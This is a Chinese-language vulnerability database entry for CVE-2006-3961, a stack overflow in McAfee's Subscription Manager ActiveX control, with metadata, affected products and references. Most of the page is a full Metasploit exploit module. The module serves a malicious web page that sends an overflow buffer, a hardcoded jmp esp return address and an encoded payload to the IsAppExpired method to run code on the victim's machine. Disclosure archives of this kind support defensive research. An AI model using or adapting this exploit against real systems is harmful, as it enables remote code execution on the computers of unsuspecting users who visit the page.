McAfee产品A查验管理器栈溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1119596 漏洞类型 缓冲区溢出
发布时间 2010-07-03 更新时间 2010-07-03
CVE编号 CVE-2006-3961 CNNVD-ID CNNVD-200608-011
漏洞平台 Windows CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/16510
https://www.securityfocus.com/bid/19265
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200608-011
|漏洞详情
McAee产品查验管理器(McAfeeSubscriptionManager)是随McAfee很多产品一起发布的用于管理产品许可权限组件,它是一个ActiveX控件,厂商可以通过它检查产品的使用合法性。McAfee产品查验管理器实现上存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞在用户机器上执行任意指令。产品查验管理器的实现模块McSubMgr.dll没有检查传入的参数长度,远程攻击者可以诱使用户访问恶意网站,在网页脚本中向McSubMgr.dll传送超过3000字节长的数据导致发生栈溢出,从而执行任意指令。链接:http://www.securityfocus.com/archive/1/442495/30/0/threaded
|漏洞EXP
##
# $Id: mcafee_mcsubmgr_vsprintf.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'McAfee Subscription Manager Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a flaw in the McAfee Subscription Manager ActiveX control.
				Due to an unsafe use of vsprintf, it is possible to trigger a stack buffer overflow by
				passing a large string to one of the COM-exposed routines, such as IsAppExpired.
				This vulnerability was discovered by Karl Lynn of eEye.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'skape',
				],
			'Version'        => '$Revision: 9669 $',
			'References'     =>
				[
					[ 'CVE', '2006-3961'],
					[ 'OSVDB', '27698'],
					[ 'BID', '19265'],
					[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2006-August/048565.html'],
				],
			'Payload'        =>
				{
					'Space'          => 1014,
					'MaxNops'        => 0,
					'BadChars'       => "\x00\x09\x0a\x0d'\\" + Rex::Text::UpperAlpha + Rex::Text::HighAscii,
					'EncoderType'    => Msf::Encoder::Type::NonUpperUtf8Safe,
					'EncoderOptions' =>
						{
							'BufferOffset' => 0x8
						}
				},
			'Targets'        =>
				[
					# Target 0: Automatic
					[
						'Windows XP SP0/SP1',
						{
							'Platform' => 'win',
							'Rets'     =>
								[
									0x7605122f, # XP SP0/SP1 shell32.dll: jmp esp
									#0x773f346a  # XP SP2 comctl32.dll: jmp esp
								]
						},
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Aug 01 2006'))
	end

	def on_request_uri(cli, request)

		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Pick the right target
		case request['User-Agent']
			when /Windows NT 5.1/
				ret = target['Rets'][0]
			else
				print_error("Unsupported target: #{request['User-Agent']}")
				cli.send_response(create_response(404, 'File not found'))
				return
		end

		# Build out our overflow buffer
		buf =
			rand_text(2972, payload_badchars) +
			[ ret ].pack('V') +
			"\x60" + # pusha
			"\x6a" + rand_char + # push byte 0x1
			"\x6a" + rand_char + # push byte 0x1
			"\x6a" + rand_char + # push byte 0x1
			"\x61" + # popa
			p.encoded

		# Generate random variable names
		vname    = rand_text_alpha(rand(100) + 1)
		strname  = rand_text_alpha(rand(100) + 1)

		# Build out the message
		content =
			"<html>" +
			"<object classid='clsid:9BE8D7B2-329C-442A-A4AC-ABA9D7572602' id='#{vname}'></object>" +
			"<script language='javascript'>\n" +
			"var #{vname} = document.getElementById('#{vname}');\n" +
			"var #{strname} = new String('#{buf}');\n" +
			"#{vname}.IsAppExpired(#{strname}, #{strname}, #{strname});\n" +
			"</script>" +
			"</html>"

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
|受影响的产品
McAfee Wireless Home Network Security 2006 McAfee VirusScan 2006 McAfee VirusScan 2005 McAfee VirusScan 2004 McAfee SpamKiller 2006 McAfee SpamKiller 2005
|参考资料

来源:US-CERT
名称:VU#481212
链接:http://www.kb.cert.org/vuls/id/481212
来源:BID
名称:19265
链接:http://www.securityfocus.com/bid/19265
来源:VUPEN
名称:ADV-2006-3096
链接:http://www.frsirt.com/english/advisories/2006/3096
来源:SECUNIA
名称:21264
链接:http://secunia.com/advisories/21264
来源:BUGTRAQ
名称:20060807[EEYEB-20060719]McAfeeSubscriptionManagerStackBufferOverflow
链接:http://www.securityfocus.com/archive/1/archive/1/442495/100/100/threaded
来源:OSVDB
名称:27698
链接:http://www.osvdb.org/27698
来源:MISC
链接:http://www.eeye.com/html/research/upcoming/20060719.html
来源:MISC
链接:http://www.eeye.com/html/research/advisories/AD2006807.html
来源:ts.mcafeehelp.com
链接:http://ts.mcafeehelp.com/faq3.asp?docid=407052
来源:SECTRACK
名称:1016614
链接:http://securitytracker.com/id?1016614